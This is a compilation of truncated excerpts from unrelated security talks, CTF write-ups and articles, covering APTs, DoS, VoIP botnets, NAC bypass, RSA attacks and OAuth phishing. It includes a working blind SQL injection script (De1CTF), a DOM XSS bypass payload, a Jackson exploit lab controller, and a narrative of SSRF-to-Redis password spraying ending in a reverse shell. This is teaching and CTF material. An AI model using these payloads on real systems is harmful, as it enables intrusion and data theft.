| Emdivi: Overview 1. The Blue Termite APT campaign 2. Target region is Japan mainly 3. C2s on compromised legitimate sites 4. spear phishing email 5. drive-by dowonload 6. Watering hole attacks 7. CVE-2014-7247 8. CVE-2015-5119 16 | Japan pension service Emdivi + PlugX MAY 2015 Security report about APT (Emdivi) by Macnica MAY 2016 Target to web site in Taiwa


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Three Generations of DoS Attacks (with Audience Participation, as Victims) Defcon, 2011 Bio Summary  The DoS Circus  Layer 4 DDoS: Thousands of attackers bring down one site  Layer 7 DoS: One attacker brings down one site  Link-Local DoS: IPv6 RA Attack: One attacker brings down a whole network The DoS Circus Characters Wikileaks  Published <1000 US Gov't diplomatic cables from a leak of 250,000  Distributed an encrypted "Insurance" file by BitTorrent  Widely assumed to contain the complete, uncensored leaked data  Encrypted with AES-256--no one is ever getting in there without the key  Key to be released if Assange is jailed or killed, but he is in UK now resisting extradition to Sweden and the key has not been released Anonymous Operation Payback  4chan's Anonymous group  Attacked Scientology websites in 2008  Attacked the RIAA and other copyright defenders  Using the Low Orbit Ion Cannon with HiveMind (DDoS)  "Opt-in Botnet" HB Gary Federal  Aaron Barr  Developed a questionable way to track people down online  By correlating Twitter, Facebook, and other postings  Announced in Financial Times that he had located the leaders of Anonymous and would reveal them in a few days Social Engineering & SQLi  http://tinyurl.com/4gesrcj Leaked HB Gary Emails  For Bank of America  Discredit Wikileaks  Intimidate Journalist Glenn Greenwald  For the Chamber of Commerce  Discredit the watchdog group US Chamber Watch  Using fake social media accounts  For the US Air Force  Spread propaganda with fake accounts  http://tinyurl.com/4anofw8 Drupal Exploit Th3j35t3r  "Hacktivist for Good"  Claims to be ex-military  Originally performed DoS attacks on Jihadist sites  Bringing them down for brief periods, such as 30 minutes  Announces his attacks on Twitter, discusses them on a blog and live on irc.2600.net Jester's Tweets from Dec 2010 Th3j35t3r v. Wikileaks  He brought down Wikileaks single-handed for more than a day  I was chatting with him in IRC while he did it, and he proved it was


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Security Art | August 2011 www.security-art.com Itzik Kotler, Chief Technology Officer Iftach Ian Amit, VP Consulting Sounds Like Botnet Intro to VoIP  Its everywhere  Home (Vonage, Skype, TeamSpeak, Comcast, etc)  Office (Cisco, Avaya, Lucent, Asterisk, etc)  Easy to deploy  Most are plug and talk with fancy web interfaces to configure features such as voicemail, forwarding, conference calls, etc Overview of SIP  Request/Response model  Responsible for setup/teardown of voice/video calls  Designed to allow piercing of firewalls, NAT, etc  Security? meh (basic identification, usually not required in most PBXs, easily sniffed) VoIP as a Getaway Car  So VoIP can traverse firewalls easily  And can go outside the corporate network over PSTN lines (no internetz needed)  And is rarely monitored (can you hear me now aint gonna pass through the DLP)  EXFILTRATE! What is a VoIP Botnet  Take your good ole botnet  Disconnect all C&C channels  Replace with VoIP  Profit?  Fully mobilized (NAT piercing)  Looks more legit (try to pick THAT out of the traffic)  Harder to peek into (can you spell whazzzzup? in RTP?) Who Needs a VoIP Botnet  Well, everyone  Botmaster is more mobile (literally)  More anonymous C&C servers (conf call bridge numbers are aplenty)  Can actually transfer fair amounts of data back/forth (remember the modem days?)  Its starting to show up as alternative methods of covert communications  Sorry spooks  VoIP Botnet in Action  Red Team Penetration Testing Engagement  Botnet in No Internet/Closed Networks  Botnet for VoIP Phones VoIP Botnet Architecture  Telephony systems allows both Unicast and Multicast communication  Unicast:  Bot calls Bot Master  Bot Master calls Bot (registered ext. on his PBX)  Multicast:  Bot A calls Conference Call  Bot B calls Conference Call  Bot Master joins Conference Call VoIP Botnet Architecture  Conference Call as IRC Channel Conference Call Bot Bot Bot Bot Master The Call  Calling can be made via TCP/IP or PSTN Bot/Bot Master TCP


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How Hackers Won the Zombie Apocalypse Quahogcon - Providence, RI - April 23-25 2010 Dennis Brown QuahogCon July 2010 Introduction  What is Quahogcon  New regional con in Rhode Island  Focusing on Infosec and Maker Culture  Who am I?  Dennis Brown  Quahogcon Organizer  DC401  Rhode Island Defcon Group  Day Job - Security Researcher for Tenable Network Security Quahogcon - Providence, RI - April 23-25 2010 Badge Hardware  Ultimate goal was to have a hackable badge  Functional and usable post-con  Our desired result was to include  Wireless connectivity  A compelling game in the firmware  Open source development environment  Easy to write custom firmware for  We got 3 out of 4! Quahogcon - Providence, RI - April 23-25 2010 The Badge  Based off of RedWire LLC's RedBee Econotag  Freescale MC13224v ARM7 Microcontroller  Zigbee!  36 GPIO Headers  USB connector  easy to flash  Added 2 AAA batteries and 7 LEDs  Low cost (~$30 per badge) Quahogcon - Providence, RI - April 23-25 2010 End Product  Interface Components  2 Buttons + Reset  5 Red LEDs on left  RGY LEDs on right Quahogcon - Providence, RI - April 23-25 2010 Badge Features  Easy to code for  Sorta  Custom firmware  Kismet client  Zigbee sniffer  Killerbee firmware  Zigbee packet injector  Contiki support  Full system environment Quahogcon - Providence, RI - April 23-25 2010 Con Firmware  Wanted an interactive game for attendees  Ways to affect other attendees  Ways to hack other attendees badges  Multiple design ideas  Landed on a Zombies vs. Humans concept  Chosen 3 weeks before the con  Note: More time is a good idea! Quahogcon - Providence, RI - April 23-25 2010 Zombies versus Humans!  Humans kill Zombies!  Multiple attack modes  Zombies kill Humans!  Charge-up attacks  Speakers and Vendors were Clerics!  Healed Humans, reclaimed Zombies  Security Mussel could attack anyone  Not very powerful (so they'd get to work!) Quahogcon - Providence, RI - April 23-25 2010 How It Worked  Live demo!  Attacks did 1-5 damage


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Guests N Goblins: EXPOSING WI-FI EXFILTRATION RISKS AND MITIGATION TECHNIQUES Presenter: Pete Desfigies ! By day : Security Analyst @ TELUS Communications ! By night: break things ! Hobbies: Break more things Presenter: Joshua Brierton ! By Day: SIEM Geek ! By Night: Boat Geek ! Hobbies: Cards against humanity + watching Holy Mountain Presenter: Naveed Islam ! By day: Intelligent Analysis team lead @ TELUS Communications ! By night: Family management, as a father of 2, +1 on the way anytime now ! Hobbies: Learning about religion, science and philosophy etc. Traveling and starting projects that just not complete. Background Anonymity is a big thing Many ways to hide your identity 1. TOR 2. L2P 3. Spotflux 4. Hola Proxyham? Introduction Wifi is everywhere Is Wifi secure enough? It has its own network isolation WPA 2.0 with AES added Sure it is secure, no one can get in from outside And yet, it is open to public for competitive convenience Problem Space Public Wifi = Risks ! Wifi Exfiltration ! Host Implication Security Challenges Insufficient authentication, a catch 22 situation Lack of Egress monitoring Default SSL Spoofed MAC addresses Intro to Our Concept ! A custom mobile App + batch scripts + two servers with dedicated IPs. ! Scans for open Wifi ! Tags the location ! Connects automatically ! Learns about the network ! Collects public fingerprints ! Syncs with a central server Programs + Tools Used ! Python ! Java ! Bash ! SQLITE ! JSON ! Apache ! github ! Crash course mentality ! Android SDK Toolkit Hardware + Tools ! Laptop Kali Linux ! Android Phone ! CentOS Servers Automated Tookit - Wargarble ! Warscanble  Initial Area Scan / Discovery ! Wargarble  Connectvity / Data collection ! Warrepo - Reporting / Results What is WarScanble basically ! Nutshell definition: ! Dead simple WiFi scanner to coordinate the gathering of access points for whatever purpose. How do it do? Step 1 ! Scan for all access points How do it do? Step 2 ! Put all results into a hashable obj


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## Tonnerre (Crypto, 200 points, 119 solves) We were pretty sure the service at tonnerre.pwning.xxx:8561 (source) was totally secure. But then we came across this website and now were having second thoughts... We think they store the service users in the same database? ###ENG [PL](#pl-version) This task consisted of two parts: website vulnerable to SQL injection and server authenticating via `zero knowledge proof protocol` specifically `Secure Remote Password protocol`. Using [script](doit.py) we quickly exploited the SQL vulnerability to dump information about the only user stored in database: `username`, `verifier` and `salt` (although we didn't need salt). The next part was forcing [server script](public_server.py) to authenticate us and get the flag. The idea of zero knowledge proof is that the server aka `verifier` knows a `secret` and challenges the user to prove that the user also knows the `secret`. This has to happen without disclosing the `secret` itself so no part of the `secret` should ever be transmitted. The general approach to this problem is that the `verifier` provides a random task that can be solved only by someone with `secret`. In our case the server prompted us for some number (denoted as `pC`) and calculated: ``` c=(pC*v)%N if c not in forbidden set: r=random(2,N-3) pS=(g**r)%N res=(pS+v)%N secret=((pC*b)**r)%N key=f(res, secret) ``` It then sent us `res` and asked for resulting key. We know `N` and `g` from the source code, while `v` is the verifier value we extracted via SQL injection. It is easy to see that if we know `res`, we can calculate `pS`. This is because `pS` has to be less than `N` (it is reminder from division modulo `N`) and we know the value of `v` which is in the same order as `N`. This implies that `pS+v` has to be between `v` and `2N-1` and thus the modular division reminder of `res=(pS+v) mod N` can be: - Bigger than `v` which means that `pS` was small enough that the sum `pS+v` did not exceed `N` and this means the `pS = r


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0x00 前 有技术交流或渗透测试培训需求的朋友欢迎联系QQ/VX-547006660 需要代码审计渗透测试红蓝对抗络安全相关业务可以联系我司 2000络安全交流群欢迎佬们来交流 群号820783253 最近BugBounty挖了不少但多数都是有就的漏洞需要动脑的实属罕 今天就遇到了个常好的案例故作此 0x01 对录批量FUZZ发现处隐蔽接 挖某已经挖了快两个周了期间因为公司业务较繁忙最近直没挖 但是直在ffuf挂着字典对商资产进批量录扫描今天上服务器看了下扫描结果就出货了 接地址为https://xxx.xxxx.com/xxxx/start 我们直接对其进访问 发现该接给我们提供了些可以使的接链接 我们逐个测试拼接接后发现个名为face_xxxx的接有戏 0x02 FUZZ传参格式+参数 访问接提示Method Not Allow405错误那么很显然我们得换POST传参 POST随便传个参过去发现接提示"Request error, content-type was unsupported" 很好继续FUZZ content-type header(记得把payload_processing动编码给关掉) FUZZ出来application/json的content-type头可那么很简单了构造JSON数据继续FUZZ JSON数据参数 0x03 SSRF脑到 参数为image_url稍有经验的朋友就可以借此判断出很可能这个参数是加载远程图的 直接进SSRF测试 服务器收到了请求经测试gopherdicthttp等常规协议都可以使~ 之前通过各种域名级录或根录的spring泄露下载heapdumpOQL调试出redis明密码 收集了不少该商内redis的ip和密码也了解到该商的内段 尝试利本处SSRF完全可以批量对内Redis进密码喷洒+反弹shell对边界进突破 0x04 利gopher协议对内脆弱段批量Redis密码喷洒反弹 Shell 普及个知识与未授权直接访问的redis不同加密码认证的redis在命令链接时会多个-a参数指定密码 如图所示如果不传参密码则法执任何redis指令 加密码认证后redis在整个RESQ协议流量中表现如下 认证过程中会多个Auth 写脚本来构造gopher数据注意把这块Auth加上,后续常规操作写计划任务反弹SHELL 利上挖掘到的SSRF点配合之前收集到的内redis密码和脆弱段 直接通过intruder批量跑内的脆弱段redis进密码喷洒喷洒但成功则会写计划任务 最终功夫不负有在个段弹回来了个Shell 商的内Redis主机还能出属实是内安全做的稀烂了 0x04 后 这个洞是在平安夜挖到的~算是圣诞贺礼啦


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# COBOL (RE, 485p, 10 solved) In the task we get an old [IBM SAVF file](EKO.SAVF). Unlike last year, where we could just load it to some online tools, this time the file was corrupted. We quickly had a look around at the file contents, decoded from ebcdic string encoding, but the flag string seemed permutated, so we guessed we actually have to recover the binary and reverse it. This was a huge mistake. We wasted quite some time trying to fix this file, which had some checksum failures. After a while we tried one more time to look at the strings: ```python import codecs import ebcdic def decode(): with codecs.open("EKO.SAVF", 'rb') as input_file: print(input_file.read().decode('cp1148')) ``` We can see there a nice section: ``` YOU ARE RIGHTWE}m_A4rREg0_RrpUN+0NI04NGsa_O+7UT3313F_+rGO3hODt0_In4DE{OASKE NOPE], YOUR SECRET IS WRONG] ``` And from this we guess that the part: ``` }m_A4rREg0_RrpUN+0NI04NGsa_O+7UT3313F_+rGO3hODt0_In4DE{OASKE ``` Is the mangled flag. It's clear it's inverted, so we invert it back: ``` EKSAO{ED4nI_0tDOh3OGr+_F3133TU7+O_asGN40IN0+NUprR_0gERr4A_m} ``` We know that the flag starts with `EKO{` so we need to take 2 characters, remove next 2, and again take 2. We guessed we will check what happens if we proceed like this: ``` EKO{4n0th3r+31TUO_GNINNUR_ERA_EW ``` And inverted: ``` WE_ARE_RUNNING_OUT13+r3ht0n4{OKE ``` So we're on a good track, and we have first half of the flag. Since the second half is also not random, we decided to do our take-2-leave-2, but with offset of 2: ``` SAEDI_DOOG_F337+as400+pr0gr4m} }m4rg0rp+004sa+733F_GOOD_IDEAS ``` This way we get a second half of the flag and rest of the message blended in: ``` EKO{4n0th3r+31337+as400+pr0gr4m} WE_ARE_RUNNING_OUTF_GOOD_IDEAS ``` As can is noticable now, we could have just removed all uppercase and `_` characters from the initial string to get the flag as well.


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# 私钥 d 相关攻击 ## d 泄露攻击 ### 攻击原理 首先当 $d$ 泄露之后我们自然可以解密所有加密的消息我们甚至还可以对模数 N 进行分解其基本原理如下 我们知道 $ed \equiv 1 \bmod \varphi(n)$那么存在一个 $k$ 使得 $$ ed-1=k\varphi(n) $$ 又 $\forall a\in {Z}_n*$满足$a{ed-1}\equiv1(\bmod n)$令 $$ ed-1=2st $$ 其中$t$ 是一个奇数然后可以证明对于至少一半的 $a\in {Z}_n*$存在一个 $i\in[1,s]$使得 $$ a{2{i-1}t}\not\equiv\pm1(\bmod n),a{2{i}t}\equiv1(\bmod n) $$ 成立如果 $a,i$ 满足上述条件$gcd(a{2{i-1}t}-1,n)$是 $n$ 的一个非平凡因子所以可以对 $n$ 进行暴力分解 ### 工具 利用以下工具可以直接进行计算 - RsaConverter.exe (https://sourceforge.net/projects/rsaconverter/ , for windows ) - [rsatool.py](https://github.com/ius/rsatool/blob/master/rsatool.py)(分解原理如上) ### 2017 HITB - hack in the card II > The second smart card sent to us has been added some countermeasures by that evil company. They also changed the public key(attachments -> publickey.pem). However it seems that they missed something...... > Can you decrypt the following hex-encoded ciphertext this time? > ``` > 016d1d26a470fad51d52e5f3e90075ab77df69d2fb39905fe634ded81d10a5fd10c35e1277035a9efabb66e4d52fd2d1eaa845a93a4e0f1c4a4b70a0509342053728e89e977cfb9920d5150393fe9dcbf86bc63914166546d5ae04d83631594703db59a628de3b945f566bdc5f0ca7bdfa819a0a3d7248286154a6cc5199b99708423d0749d4e67801dff2378561dd3b0f10c8269dbef2630819236e9b0b3d3d8910f7f7afbbed29788e965a732efc05aef3194cd1f1cff97381107f2950c935980e8954f91ed2a653c91015abea2447ee2a3488a49cc9181a3b1d44f198ff9f0141badcae6a9ae45c6c75816836fb5f331c7f2eb784129a142f88b4dc22a0a977 > ``` 这题是接续 2017 HITB - hack in the card I 的一道题我们直接使用 `openssl` 查看 `publickey.pem` 的公钥发现它的 N 与上一道题的 N 相同并且上题的 Ned 已知由此可直接使用上面的 `rsatool.py` 得到 pq并通过本题的 e 计算出 e 得到明文 ## Wiener's Attack ### 攻击条件 在 d 比较小$d<\frac{1}{3}N{\frac{1}{4}}$时攻击者可以使用 **Wiener's Attack** 来获得私钥 ### 攻击原理 - https://en.wikipedia.org/wiki/Wiener%27s_attack - https://sagi.io/2016/04/crypto-classics-wieners-rsa-attack/ ### 工具 - https://github.com/pablocelayes/rsa-wiener-attack - https://github.com/orisano/owiener ## 综合例子 ### 2016 HCTF RSA1 这里我们以 2016 年 HCTF 中 RSA 1 - Crypto So Interesting 为例进行分析[源代码链接](


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Hack the legacy! IBM i (aka AS/400) revealed. Bart Kulach System . . . . . : DEFCON23 Subsystem . . . . : QTRACK4 Display . . . . . : QPADEV0001 MA a MV 08/007 Agenda Lets get introduced Why should we care about legacy? Evil Java? Privilege escalation  lets jump! Password security and hash grabbing Summary + Q&A MA a MV 23/001 Lets get introduced Im googleable. https://nl.linkedin.com/in/bartkulach Disclaimer: Any views or opinions presented here are solely those of the author and do not necessarily represent those of his employer(s). MA a MV 23/002 KEEP CALM and PWRDWNSYS *IMMED Why should we care about legacy? MA a MV 23/003 Why should we care about legacy? Its legacy but hard to get rid of. Its processing most interesting data. Its usually less secure than front-ends. Its often more vulnerable than you think. Its still quite accessible to potential intruders. Its existing everywhere - in all economic sectors. Its already been exploited (Hacking iSeries by S.Carmel)! MA a MV 23/004 Evil Java? MA a MV 23/005 Evil Java? IBM Toolbox for Java/JTOpen Allows for remote system API calls and usage of built-in system commands (Limited capability not effective here) Gives the flexibility of coding outside the AS/400 box (no need for extra authorities on the system) Is generally poorly written (decompile and check yourself!) Handling of authorisations by Java VM on server side is inconsistent (object authority vs. data authority), allowing for greater visibility MA a MV 23/006 Demo time: Evil Java  visibility example MA a MV 23/007 Privilege escalation  lets jump! MA a MV 23/008 Privilege escalation  lets jump Part 1  remote profile switching Do you use group profiles? Like one common group profile? Are your admins also members of the group? Are your object and data authorities hardened? Do you monitor profile handle swapping? Lets jump remotely: check the list of profiles you have access to grab a profile handle switch to the profile repeat until youre happy with your acces


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Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! kNAC! August 2007 Ofir Arkin, CTO 10 (or more) ways to bypass a NAC solution  Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! In Memory of Oshri Oz September 13, 1972 - May 27, 2007  Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Agenda What is NAC? NAC Basics 10 (or more) ways to bypass NAC  Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Ofir Arkin CTO & Co-Founder, Insightix http://www.insightix.com Founder, The Sys-Security Group http://www.sys-security.com Computer security researcher  Infrastructure discovery  ICMP Usage in Scanning  Xprobe2  VoIP security  Information warfare  NAC  Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! What is NAC?  Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! What is NAC? What problem does it aim to solve? What functions does it need to support? What type of a solution is it?  A compliance solution?  A security solution?  Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! The Problem  Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! The Problem An enterprise network is a complex and dynamic environment which hosts a variety of devices  Workstations, servers, printers, wireless access points, VoIP phones, switches, routers and more The stability, integrity and the regular operation of the enterprise LAN are in jeopardy by rogue, non-compliant and unmanaged elements (viruses, worms, Malware, information theft, etc.)  Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! NAC History  Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! NAC History  Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! What is NAC?  Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! What is NAC? Standardization and/or common criteria for NAC does not exist Therefore the definition of what NAC is, what components a NAC solution should (and/or must) have, and what does a NAC solution needs to adhere to varies from one vendor to another  Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! What is NAC? The basic task of NAC is to control network access The secondary task of NAC is to ensure compliance As such


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MesaTEE SGX: Redefining AI and Big Data Analysis with Intel SGX Yu Ding Staff Security Scientist, Baidu X-Lab May-29-2019 About me  https://dingelish.com  https://github.com/dingelish  https://github.com/baidu/rust-sgx-sdk  Security Scientist @Baidu X-Lab  Rust Fans  Ph.D on Exploit/Mitigation  Works on Rust-SGX projects MesaTEE SGX Redefining AI and Big Data Analysis with Intel SGX Intel SGX for Privacy-Preserving Computation  Background of Intel SGX  Challenges on building a privacy-preserving software stack based on Intel SGX Hybrid Memory Safety  Rule-of-thumb  Practice on Intel SGX Towards a Secure and Trustworthy AI/Big Data Analysis framework  What is trustworthiness?  Achieving trustworthy AI/Big Data Analysis using Intel SGX MesaTEE SGX Redefining AI and Big Data Analysis with Intel SGX Intel SGX for Privacy-Preserving Computation  Background of Intel SGX  Challenges on building a privacy-preserving software stack based on Intel SGX Hybrid Memory Safety  Rule-of-thumb  Practice on Intel SGX Towards a Secure and Trustworthy AI/Big Data Analysis framework  What is trustworthiness?  Achieving trustworthy AI/Big Data Analysis using Intel SGX MesaTEE SGX Redefining AI and Big Data Analysis with Intel SGX MesaTEE SGX Redefining AI and Big Data Analysis with Intel SGX MesaTEE SGX Redefining AI and Big Data Analysis with Intel SGX  Cloud Provider  Data Owner  Algorithm Provider (can be data owner)  Dont trust each other  Data leaves its owner but still guaranteed to be under control MesaTEE SGX Redefining AI and Big Data Analysis with Intel SGX  Solution Overview  Use Intel SGX to establish trust and TEE  Secure and Trusted Authentication/Authorization  Secure and Trusted Channel  Secure and Trusted Execution Environment  Build system with hybrid memory safety  Trustworthy AI/Big Data Analysis MesaTEE SGX Redefining AI and Big Data Analysis with Intel SGX MesaTEE SGX Redefining AI and Big Data Analysis with Intel SGX Intel SGX for Privacy-Preserving Computation  Ba


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Demorpheus: Getting Rid Of Polymorphic Shellcodes In Your Network Svetlana Gaivoronski, PhD Student, Moscow State University Dennis Gamayunov, Senior Researcher, Moscow State University Memory corruption, 0-days, shellcodes Why should anyone care about shellcodes in 2012? CONS:  Old exploitation technique, too old for Web-2.0-and-Clouds- Everywhere-World (some would say)  According to Microsofts 2011 stats*, user unawareness is #1 reason for malware propagaion, and 0-days are less than 1%  Endpoint security products deal with known malware quite well, why should we care about unkown?.. PROS:  Memory corruption is still there ;-)  Hey, Microsoft, were all excited with MS12-020  Tools like Metasploit are widely used by pentesters and blackhat community  Targeted attacks of critical infrastructure - what about early detection?  Endpoint security is mostly signature-based, and does not help with 0-days  Its fun! ;) * http://download.microsoft.com/download/0/3/3/0331766E-3FC4-44E5-B1CA- 2BDEB58211B8/Microsoft_Security_Intelligence_Report_volume_11_Zeroing_in_on_Malware_ Propagation_Methods_English.pdf1 CTF Madness  Teams write 0-days from scratch  Game traffic is full of exploits all the time  Detection of shellcode allows to get hints about your vulns and ways of exploitation Team 1 Team 2 Team 3 Team 4 Team 5 Another POV: Privacy and Trust in Digital Era We share almost all aspects of our lives with digital devices (laptops, cellphones and so on) and Internet:  Bank accounts  Health records  Personal information Recent privacy issues with social networks and cloud providers:  LinkedIn passwords hashes leak  Foursquare vulns  Whats next?.. Maybe the risk of 0-days will fade away?  Modern software market for mobile and social applications is too competitive for developers to invest in security  Programmers work under pressure of time limitation; managers who prefer quantity and no quality, etc. Despite the fact of significant efforts to improve code quality, the number o


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package com.b1ngz.sec.controller; import com.b1ngz.sec.model.Target; import com.b1ngz.sec.util.ResourceUtils; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RestController; /** * Created by b1ngz on 2018/9/8. */ @RestController public class JacksonController { @PostMapping(value = "exploit", consumes = "application/json") public String test(@RequestBody Target target) throws Exception { return target.toString(); } @GetMapping(value = "spel.xml") public String getSpelXml() throws Exception { return ResourceUtils.readResourceFileAsStr("/spel.xml"); } }


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原始文档 By martin zhou(周雨阳 编辑s1mba ## 0x00 背景 DOM-Based XSS是一种基于文档对象模型(Document Object Model,DOM)的Web前端漏洞简单来说就是JavaScript代码缺陷造成的漏洞与普通XSS不同的是DOM XSS是在浏览器的解析中改变页面DOM树且恶意代码并不在返回页面源码中回显这使我们无法通过特征匹配来检测DOM XSS给自动化漏洞检测带来了挑战 本文将总结高发DOM XSS的业务场景给出缺陷代码实例并详述漏洞产生原因最后分类给出有效彻底的防护过滤手段 ## 0x01 DOM XSS高发场景透视及修复技巧 ### 一 在前端实现页面跳转 在很多场景下业务需要实现页面跳转常见的实现方式一般有三种第一种是在后端设置302跳转Header或通过函数接收参数实现跳转第二种是使用Meta标签实现跳转最后一种是通过JavaScript实现跳转不少Web前端工程师对最后一种跳转的方式情有独钟最常用到的方法有: location.href / location.replace() / location.assign() 也许提到页面跳转业务场景下的安全问题你首先会想到限制不严导致任意URL跳转而DOM-XSS与此似乎没啥关系但有一种神奇的东西叫伪协议比如javascript:vbscript:data:tencent:mobileqqapi:等其中 javascript:vbscript:data:在浏览器下可以执行脚本 ![domxss_4](../pictures/domxss_4.png) (图使用javascript:伪协议在页面内执行脚本) 最为要命的是使用这些伪协议执行的JavaScript代码的上下文context就是当前页面也就相当于在页面内注入了一段恶意JavaScript代码至此攻击者也就能实施攻击了 经过前几年DOM-XSS狂轰滥炸式的洗礼Web前端工程处理起相关跳转代码逻辑来也个个都是有经验的老司机了直接从各种来源取跳转目标URL然后通过上面提到的三个JavaScript实现跳转的方式已销声匿迹 你以为这样就结束了之前提到由于JavaScript是一种客户端脚本语言如果说Web后端代码有一层窗户纸护着的话那位于Web前端的JavaScript代码基本就是在裸奔所以以下若干种过滤对抗手段一下子就会眼尖的攻击者绕过并继续大摇大摆的构造攻击 常见缺陷1使用indexOf判断URL参数是否合法 示例缺陷代码 ``` javascript function emptyFn(){} function init(){ var jump = getQueryString('jump'); jump = decodeURIComponent(jump); if (jump && jump.indexOf("tmast://") > -1) { jump = jump; } else { jump = "tmast://found"; } setTimeout(function(){ window.JSBReady(function(readyState) { if (readyState) { jsb('closeWebView',0,'emptyFn',{}); } }); },1000); location.href=jump; } init(); ``` JavaScript相关规范中指出indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置该方法将从头到尾地检索字符串 stringObject看它是否含有子串 searchvalue 也就是如果传入的URL中带有indexOf的关键词那indexOf方法将直接返回true拿上面的缺陷代码为例只要攻击传入的URL中带有`tmast://`indexOf将直接返回true并进入跳转逻辑所以攻击者只要构造 `javascript:alert(1);//tmast://` 即可完成攻击又因为`tmast://`位于JavaScript代码的注释部分所以JavaScript代码运行时会直接忽略但indexOf却认为URL中存在`tmast://`直接放行 常见缺陷2正则表达式缺陷 示例缺陷代码 [1] ``` javascript function VaildURL(sUrl) { return (/(https?:\/\/)?[\w\-.]+\.(qq|paipai|soso|taotao)\.com($|\/|\\)/i).test(sUrl)|| (/[\w][\w\/\.\-_%]+$/i).test(sUrl)||(/[\/\\][\/\\]/i).test(sUrl) ? true


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fuser === 使用文件或文件结构识别进程 ## 补充说明 **fuser命令** 用于报告进程使用的文件和网络套接字fuser命令列出了本地进程的进程号那些本地进程使用file参数指定的本地或远程文件对于阻塞特别设备此命令列出了使用该设备上任何文件的进程 每个进程号后面都跟随一个字母该字母指示进程如何使用文件 * `c` 指示进程的工作目录 * `e` 指示该文件为进程的可执行文件(即进程由该文件拉起) * `f` 指示该文件被进程打开默认情况下f字符不显示 * `F` 指示该文件被进程打开进行写入默认情况下F字符不显示 * `r` 指示该目录为进程的根目录 * `m` 指示进程使用该文件进行内存映射抑或该文件为共享库文件被进程映射进内存 ### 语法 ```shell fuser(选项)(参数) ``` ### 选项 ```shell -a显示命令行中指定的所有文件 -k杀死访问指定文件的所有进程 -i杀死进程前需要用户进行确认 -l列出所有已知信号名 -m指定一个被加载的文件系统或一个被加载的块设备 -n选择不同的名称空间 -u在每个进程后显示所属的用户名 ``` ### 参数 文件可以是文件名或者TCPUDP端口号 ### 实例 要列出使用`/etc/passwd`文件的本地进程的进程号请输入 ```shell fuser /etc/passwd ``` 要列出使用`/etc/filesystems`文件的进程的进程号和用户登录名请输入 ```shell fuser -u /etc/filesystems ``` 要终止使用给定文件系统的所有进程请输入 ```shell fuser -k -x -u -c /dev/hd1 或者 fuser -kxuc /home ``` 任一命令都列出了进程号和用户名然后终止每个正在使用`/dev/hd1 (/home)`文件系统的进程仅有root用户能终止属于另一用户的进程如果您正在试图卸下`/dev/hd1`文件系统而一个正在访问`/dev/hd1`文件系统的进程不允许这样您可能希望使用此命令 要列出正在使用已从给定文件系统删除的文件的全部进程请输入 ```shell fuser -d /usr文件 ``` `/dev/kmem` 用于系统映像 `/dev/mem` 也用于系统映像


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De1CTF 2019 WP Author:Nu1L Team Team Page:https://nu1l-ctf.com De1CTF 2019 WP Web Giftbox cloudmusic_rev 9calc ssrf ShellShellShell Re Evil_boost Signal vm Re_Sign Cplusplus Pwn A+B Judge Weapon Mimic_note Crypto xorz babyrsa Misc Upgrade Mine Sweeping Web Giftbox import pyotp import requests import string url = "http://222.85.25.41:8090/shell.php" session = requests.session() def req(cmd): command = {"a": cmd, "totp": pyotp.TOTP('GAXG24JTMZXGKZBU', interval=5, digits=8).now()} res = session.get(url, params = command) hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333} PHP, PHP, return res def blind_len(query): for i in range(1, 100): cmd = "login admin'/**/and/**/length(("+query+"))>{}# admin".format(i) result = req(cmd) if b'user' in result.content: return i-1 def blind_get(query): length = blind_len(query) print(length) result = '' for i in range(1, length+2): for c in string.printable: cmd = "login admin'/**/and/**/ord(mid(("+query+"),{},1))={}# admin".format(i, ord(c)) # print(cmd) resp = req(cmd) # print(resp) if b'password' in resp.content: result += c break print(result) if __name__ == "__main__": # blind_get('select/**/database()') # blind_len('select/**/version()') # blind_get('select/**/user()') # blind_get('select/**/group_concat(schema_name)/**/from/**/information_schema.s chemata') # blind_get("select/**/group_concat(table_name)/**/from/**/information_schema.ta bles/**/where/**/table_schema='giftbox'") # blind_get("select/**/group_concat(column_name)/**/from/**/information_schema.c olumns/**/where/**/table_name='users'") # blind_get("select/**/password/**/from/**/users/**/where/**/username='admin'") while True: print(req(input()).json()['message']) targeting code position` `code` `position launch PHP destruct position 0-9a-zA-Z+-_(){}$ , 12, code 2 phpinfo chdir, ini_set openbase_dir ﬂag eval payload cloudmusic_rev https://github.com/impakho/ciscn2019_ﬁnal_web1 githubexpok0x3000x7022Z2teQgmmLQJLjD targeting c phpinfo targeting d ${($c)()} launch destruct


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New Phishing Attacks Exploiting OAuth Authorization Flows August 7, 2021 Jenko Hwong jhwong@netskope.com @jenkohwong $ az ad signed-in-user show [ { "jobTitle": "Researcher", "department": "Threat Research Labs", "company": "Netskope, Inc.", "email": "jhwong@netskope.com" "twitter": "@jenkohwong", "background": "vulnerability scanning, AV/AS, pen-testing/exploits, L3/4 appliances, threat intel, windows security", } ] Phishing Evolution: smtp, fake domain, ssl cert, user/pwd in the beginning... Phishing Evolution: apps, fake domain, ssl cert, user/pwd fake website phish browse, auth steal username password victim 1 2 3 smtp, sms, IM, chat... http(s) attacker +mobile Phishing Evolution: apps, fake domain, ssl cert, user/pwd fake website hosted in cloud phish browse, auth victim 1 2 smtp, sms, IM, chat... http(s) attacker steal username password 3 +cloud fake website hosted in cloud phish browse, auth victim 1 2 smtp http(s) attacker steal username password 3 +cloud Phishing Evolution: apps, fake domain, ssl cert, user/pwd Phishing Evolution: fake domain, apps, ssl cert, user/pwd fake website phish browse, auth steal username password victim 1 2 3 smtp, sms, IM, chat... http(s) attacker controls MFA IP allow policies link analysis 